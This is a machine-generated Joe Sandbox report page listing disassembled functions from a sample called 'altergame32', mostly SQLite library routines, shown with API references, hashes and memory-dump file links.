Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
String ID:
API String ID: 1894464702-0
Opcode ID: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
Instruction ID: 8ebadd1dc7ee404a0f141fd21885e91e0aa1156a5a6df10951b92a0b718128ce
Opcode Fuzzy Hash: 7188b9a67afd66d207271078c150a83da37f36a2752b1b5804700c826a798ba9
Instruction Fuzzy Hash: CF313C70B086118BDB18DF79C8C1A1A7BFBBFB2704F148468E8418B219EB35DC419F91

Function 6092535E Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 60925326: sqlite3_log.SQLITE3 ref: 60925352

sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,609254CC), ref: 6092538E
sqlite3_mutex_leave.SQLITE3 ref: 609253C4
sqlite3_log.SQLITE3 ref: 609253E2
sqlite3_log.SQLITE3 ref: 60925406
sqlite3_mutex_leave.SQLITE3 ref: 60925443

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log$sqlite3_mutex_leave$sqlite3_mutex_enter
String ID:
API String ID: 3336957480-0
Opcode ID: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
Instruction ID: a100dd02d465b32589d57b5b9efe4db3cd483c3b5de54de748c9b161d5d001e2
Opcode Fuzzy Hash: 1198911827aa14b9fab328e6e7c73bc961b2278be0ca20fe6461460b1b30ceeb
Instruction Fuzzy Hash: D3315A70228704DBDB00EF28D49575ABBE6AFA1358F00886DE9948F36DD778C885DB02

Function 60961389 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

sqlite3_result_blob.SQLITE3 ref: 609613D0
sqlite3_column_int.SQLITE3 ref: 6096143A
sqlite3_data_count.SQLITE3 ref: 60961465
sqlite3_column_value.SQLITE3 ref: 60961476
sqlite3_result_value.SQLITE3 ref: 60961482

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_column_intsqlite3_column_valuesqlite3_data_countsqlite3_result_blobsqlite3_result_value
String ID:
API String ID: 3091402450-0
Opcode ID: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
Instruction ID: 8b12398a3b1f37ca0d2e1a8d549e1f0529ecbd38da511dd0edd3444da8e5cc4d
Opcode Fuzzy Hash: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
Instruction Fuzzy Hash: 72314DB19082058FDB00DF29C48064EB7F6FF65354F19856AE8999B361EB34E886CF81

Function 60939097 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 609390AC
sqlite3_mutex_enter.SQLITE3 ref: 609390B7
sqlite3_free.SQLITE3 ref: 60939120
sqlite3_mutex_leave.SQLITE3 ref: 6093912D
sqlite3_mutex_leave.SQLITE3 ref: 60939138

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
String ID:
API String ID: 251237202-0
Opcode ID: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
Instruction ID: 8e14962182cb4ba31828fc05f1b37fa5954e33605a362b2e641de35f96add61e
Opcode Fuzzy Hash: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
Instruction Fuzzy Hash: 022137B46087158BC709AF68C48570ABBF6FFA5318F10895DEC958B345DB74E940CB82

Function 6091A2E8 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 6091A31E
sqlite3_value_text.SQLITE3 ref: 6091A349
sqlite3_value_bytes.SQLITE3 ref: 6091A356
sqlite3_value_text.SQLITE3 ref: 6091A37B
sqlite3_value_bytes.SQLITE3 ref: 6091A387

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_aggregate_context
String ID:
API String ID: 4225432645-0
Opcode ID: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
Instruction ID: 24a20a1669ecabf1c8c9e0f75de4e20f6480f0c3e20d7f4799920e66bb4c3c2a
Opcode Fuzzy Hash: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
Instruction Fuzzy Hash: 3F21CF71B086588FDB009F29C48075E7BE7AFA4254F0484A8E894CF305EB34DC86CB91

Function 609441F6 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

string or blob too big, xrefs: 60949978
(, xrefs: 6094449C
|, xrefs: 609499CF

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log
String ID: ($string or blob too big$|
API String ID: 632333372-2398534278
Opcode ID: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
Instruction ID: 3c3a64a58f66130c0c9aec06ea77be0954bd7b4098f3428da06b6372deec6608
Opcode Fuzzy Hash: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
Instruction Fuzzy Hash: 5DC10CB5A043288FCB66CF28C981789B7BABB59304F1085D9E958A7345C775EF81CF40

Function 6096D170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 6096D1A1
VirtualProtect.KERNEL32 ref: 6096D1E3
VirtualProtect.KERNEL32 ref: 6096D21E

Strings

@, xrefs: 6096D1C8

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: Virtual$Protect$Query
String ID: @
API String ID: 3618607426-2766056989
Opcode ID: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
Instruction ID: 11fd3fd6c91f2e29dbdaed7331fdf7a08ef8f1da01c53322037319a40d79a89e
Opcode Fuzzy Hash: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
Instruction Fuzzy Hash: 003141B5E15208AFEB14DFA9D48158EFFF5EF99254F10852AE868E3310E371D940CB52

Function 60928335 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 60928353

Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4

sqlite3_realloc.SQLITE3 ref: 609283A0
sqlite3_free.SQLITE3 ref: 609283B6

Strings

d, xrefs: 6092836D

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
String ID: d
API String ID: 211589378-2564639436
Opcode ID: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
Instruction ID: 0830c2115c9ea807631a831f7f1165b0ee40d8a8a94356aa67113494a68d5982
Opcode Fuzzy Hash: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
Instruction Fuzzy Hash: 222137B0A04205CFDB14DF59D4C078ABBF6FF69314F158469D8889B309E3B8E841CBA1

Function 60901184 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6090119B
GetProcAddress.KERNEL32 ref: 609011B0

Strings

_Jv_RegisterClasses, xrefs: 609011A5
libgcj-11.dll, xrefs: 60901194

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-11.dll
API String ID: 1646373207-2713375476
Opcode ID: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
Instruction ID: e6822cb61b404b68644b44a252d8259deade1a358cfa59fcc717d95409d4d83a
Opcode Fuzzy Hash: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
Instruction Fuzzy Hash: 0DE04F7062D30586FB443F794D923297AEB5F72549F00081CD9929B240EBB4D440D753

Function 609292DA Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 60929311
sqlite3_value_text.SQLITE3 ref: 60929358
sqlite3_value_bytes.SQLITE3 ref: 60929364
sqlite3_malloc.SQLITE3 ref: 60929374

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_freesqlite3_mallocsqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 1648232842-0
Opcode ID: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
Instruction ID: a01add595a6c287de5924383f0ed77e5cc34082cd65fcd393cbe5beac3228527
Opcode Fuzzy Hash: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
Instruction Fuzzy Hash: 4531C0B4A042058FDB04DF29C094B5ABBE2FF98354F1484A9EC498F349D779E846CBA0

Function 60961492 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

sqlite3_step.SQLITE3 ref: 609614AB
sqlite3_reset.SQLITE3 ref: 609614BF

Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE

sqlite3_column_int64.SQLITE3 ref: 609614D4

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_column_int64sqlite3_mutex_entersqlite3_mutex_leavesqlite3_resetsqlite3_step
String ID:
API String ID: 3429445273-0
Opcode ID: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
Instruction ID: 62863439de2fabb71fd3664abc4fbfc11ff04353a6e6e3e42574d1c19fb7889d
Opcode Fuzzy Hash: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
Instruction Fuzzy Hash: AE316470A183408BEF15CF69C1C5749FBA6AFA7348F188599DC864F30AD375D884C752

Function 609034B2 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 609034D8
sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903521
sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 6090354A
sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903563

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
Instruction ID: 848dca46e936c6e01d33e08870ae11aa620bd8b24bdb606da7ea596206f2e213
Opcode Fuzzy Hash: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
Instruction Fuzzy Hash: 44111F726186218FDB00EF7DC8817597FEAFB66308F00842DE865E7362E779D8819741

Function 6092A43E Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 6092A450

Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1

sqlite3_mutex_enter.SQLITE3 ref: 6092A466
sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
sqlite3_memory_used.SQLITE3 ref: 6092A4BA

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_leave
String ID:
API String ID: 2673540737-0
Opcode ID: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
Instruction ID: c4988029ba64cfb2248a7cf0c790324acf4c13eb0f9cd3f15fdedc175ef3c91a
Opcode Fuzzy Hash: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
Instruction Fuzzy Hash: F9019276E143148BCB00EF79D88561ABFE7FBA5324F008528EC9497364E735DC408B81

Function 6092A3C4 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6092A3D8
sqlite3_value_text.SQLITE3 ref: 6092A3FA
sqlite3_load_extension.SQLITE3 ref: 6092A418
sqlite3_free.SQLITE3 ref: 6092A431

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_load_extension
String ID:
API String ID: 3526213481-0
Opcode ID: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
Instruction ID: 98199466554994e62e20ad809be6129e3c08b78dd6d8c38fc18f61524e73aad2
Opcode Fuzzy Hash: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
Instruction Fuzzy Hash: 4101E9B5A043059BCB00EF69D485AAFBBF5EF68654F10C529EC9497304E774D841CF91

Function 60969133 Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_prepare.SQLITE3 ref: 60969166
sqlite3_errmsg.SQLITE3 ref: 60969172

Part of subcall function 609258A8: sqlite3_log.SQLITE3 ref: 609258E5

sqlite3_errcode.SQLITE3 ref: 6096918A

Part of subcall function 609251AA: sqlite3_log.SQLITE3 ref: 609251E8

sqlite3_step.SQLITE3 ref: 60969197

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log$sqlite3_errcodesqlite3_errmsgsqlite3_preparesqlite3_step
String ID:
API String ID: 2877408194-0
Opcode ID: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
Instruction ID: d4ebd4c9a05a553e526e78eaaf80584f3afcfe73b3175c4c6dada352db343273
Opcode Fuzzy Hash: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
Instruction Fuzzy Hash: 9F0186B091C3059BE700EF29C88525DFBE9EFA5314F11892DA89987384E734C940CB86

Function 609084D1 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 609084E9
sqlite3_mutex_leave.SQLITE3 ref: 60908518
sqlite3_mutex_enter.SQLITE3 ref: 60908528
sqlite3_mutex_leave.SQLITE3 ref: 6090855B

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
Instruction ID: c41a4d3f3efa942db11cbd34a9101edfe28f26dd6f673ba1da0d5803e4a0adbd
Opcode Fuzzy Hash: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
Instruction Fuzzy Hash: FD01A4B05093048BDB40AF25C5D97CABBA5EF15718F0884BDEC894F34AD7B9D5448BA1

Function 609481BF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

into, xrefs: 60948285
out of, xrefs: 60948277

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log
String ID: into$out of
API String ID: 632333372-1114767565
Opcode ID: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
Instruction ID: de20b162988cb891a2f8fbcf22309076e3e21d241eadb06c465d82de9f0e8d92
Opcode Fuzzy Hash: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
Instruction Fuzzy Hash: 91910170A043149BDB26CF28C88175EBBBABF65308F0481E9E858AB355D7B5DE85CF41

Function 60919123 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 60918408: sqlite3_value_text.SQLITE3 ref: 60918426

sqlite3_free.SQLITE3 ref: 609193A3

Strings

(NULL), xrefs: 60919157
NULL, xrefs: 60919165

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
